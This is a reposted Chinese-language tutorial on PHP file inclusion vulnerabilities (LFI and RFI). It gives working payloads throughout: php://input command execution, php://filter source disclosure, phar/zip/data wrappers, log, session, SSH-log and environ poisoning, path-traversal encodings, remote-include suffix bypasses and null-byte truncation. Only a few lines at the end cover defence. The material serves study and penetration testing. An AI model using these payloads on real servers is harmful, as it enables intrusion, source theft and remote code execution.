PHP文件包含漏洞小結


參考鏈接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/

四大漏洞函數

PHP文件包含漏洞主要由於四個函數引起的:

  • include()
  • include_once()
  • require()
  • require_once()

require()/require_once():如果在包含過程中有錯,那么直接退出,不執行進一步操作。

include()/include_once(): 如果在包含過程中出錯,只會發出警告

加上后綴_once的作用:如果文件已經包含過了,那么不會再次包含

當利用這四大漏洞函數包含文件的時候,不論什么類型的文件,都會作為PHP腳本解析

基本實現場景

例如,有如下index.php文件

<?php
	$file=$_GET['file'];
	include $file;
?>

在同一目錄下,有如下txt文件:

<?phpinfo();?>

當頁面訪問index.php的時候,如果輸入URL:

http://...../index.php?file=phpinfo.txt

就會輕而易舉執行txt中的phpinfo()函數,並回顯內容。

總結:這種情況的實現條件是:

  • PHP代碼中有相關的文件包含函數:比如 include $file
  • 攻擊者能夠對包含的變量進行傳遞參數:比如 \$file=$_GET['file'];

文件包含漏洞的分類

本地文件包含漏洞LFI

  • 就是能夠訪問目標URL本地的文件內容

遠程文件包含漏洞RFI

  • 包含遠程服務器文件並執行
  • 這種漏洞危害較大
  • 需要在php.ini中設置兩個參數:
    • allow_url_fopen=on
    • allow _url_include=on

PHP偽協議

php://input

實現條件:

  • allow_url_fopen=on
  • allow _url_include=on/off
  • PHP版本5.3.0以下

實現方法:
在URL中輸入:

index.php?php://input

之后利用hackbar等工具進行post傳參:

POST <?php system('whoami');?>

這個漏洞已經比較老了

php://filter

實現條件:沒有條件
實現方法:
利用這個偽協議可以打開我們想要的文件:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php
or
index.php?file=php://filter/convert.base64-encode/resource=index.php

這樣文件會以base64的編碼打開,使用python解碼即可

import base64
print(base64.b64decode("........."))

phar:// 和zip://

實現條件

  • PHP版本大於5.3.0

實現方法
這兩個方法都可以解析zip壓縮文件里面的文件內容並當做腳本執行:
假設test.zip里面有個文件為phpinfo.txt,解析執行phpinfo.txt的方法有:

index.php?file=phar://D:/phpstudy/www/..../test.zip/phpinfo.txt (絕對路徑)
index.php?file=phar://test.zip/phpinfo.txt (相對路徑)
or
index.php?file=zip://D:/phpstudy/www/.../test.zip/phpinfo.txt (zip必須是絕對路徑)

data:[URL],[schema]

實現條件

  • allow_url_fopen=on
  • allow _url_include=on
  • php版本大於5.2

實現方法

index.php?file=data:URL,<?phpinfo();?>
or
index.php?file=data:URL;base64,PD9waHAgcGhwaW5mbygpOz8%2b

其中:加號+的url編碼為%2b, PD9waHAgcGhwaW5mbygpOz8+ 的base64解碼為:

文件包含

包含session

實現條件:

  • session文件路徑已知,且其中內容部分可控
  • php的session文件的保存路徑可以在phpinfo的session.save_path看到。

常見session文件路徑

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式為sess_[phpsessid]。而phpsessid在發送的請求的cookie字段中可以看到。

包含日志

實現條件:需要知道服務器日志的存儲路徑,且日志文件可讀。
web服務器會將請求寫入到日志文件中

比如說apache。在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。默認情況下,日志保存路徑在 /var/log/apache2/。

但如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包后修改。

正常的php代碼已經寫入了 /var/log/apache2/access.log。然后進行包含即可。

在一些場景中,log的地址是被修改掉的。你可以通過讀取相應的配置文件后,再進行包含

包含SSH log

利用條件:需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log
用ssh連接:

ssh '<?php phpinfo(); ?>'@remotehost

之后會提示輸入密碼等等,隨便輸入。

然后在remotehost的ssh-log中即可寫入php代碼:

之后進行文件包含即可。

包含environ

利用條件:

php以cgi方式運行,這樣environ才會保持UA頭。
environ文件存儲位置已知,且environ文件可讀。
姿勢:

proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之后再包含它,即可。

包含臨時文件:

php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。

繞過WAF

在日常情況下,碰到的可能是如下這種有前綴又有后綴的情況

<?php
	$file = $_GET['file'];
	include '/var/www/html/'.$file.'/test/test.php';
?>

只指定了前綴:

考慮這種只有前綴的情況

<?php
	$file = $_GET['file'];
	include '/var/www/html/'.$file;
?>

現在在/var/log/test.txt文件中有php代碼,則利用../可以進行目錄遍歷,比如我們嘗試訪問:

include.php?file=../../log/test.txt

則服務器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,也即/var/log/test.txt。從而包含成功。

編碼繞過:

利用url編碼

  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\

二次編碼

  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c

容器/服務器的編碼方式

  • ../
    • ..%c0%af
    • %c0%ae%c0%ae/
      注:java中會把”%c0%ae”解析為”\uC0AE”,最后轉義為ASCCII字符的”.”(點)
      Apache Tomcat Directory Traversal
  • ..\
    • ..%c1%9c

只指定了后綴:

如下的情況:

<?php
	$file = $_GET['file'];
	include $file.'/test/test.php';
?>

可以采用URL的格式繞過:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過后綴限制。

使用query繞過

index.php?file=http://remoteaddr/remoteinfo.txt?

則包含的文件為 http://remoteaddr/remoteinfo.txt?/test/test.php
問號后面的部分/test/test.php,也就是指定的后綴被當作query從而被繞過。

使用fragment繞過

index.php?file=http://remoteaddr/remoteinfo.txt%23

則包含的文件為 http://remoteaddr/remoteinfo.txt#/test/test.php
問號后面的部分/test/test.php,也就是指定的后綴被當作fragment從而被繞過。注意需要把#進行url編碼為%23。

利用協議繞過
前面有提到過利用zip協議和phar協議。假設現在測試代碼為:

<?php
	$file = $_GET['file'];
	include $file.'/test/test.php';
?>

構造壓縮包如下:
其中test.php內容為:

利用zip協議,注意要指定絕對路徑

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

則拼接后為:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。

長度截斷繞過
利用條件: php版本 < php 5.2.8

目錄字符串,在linux下4096字節時會達到最大值,在window下是256字節。只要不斷的重復./

index.php?file=././././。。。省略。。。././shell.txt

則后綴/test/test.php,在達到最大值后會被直接丟棄掉。

0字節截斷
利用條件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

防御方案

  • 在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗
  • 做好文件的權限管理
  • 對危險字符進行過濾等等


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM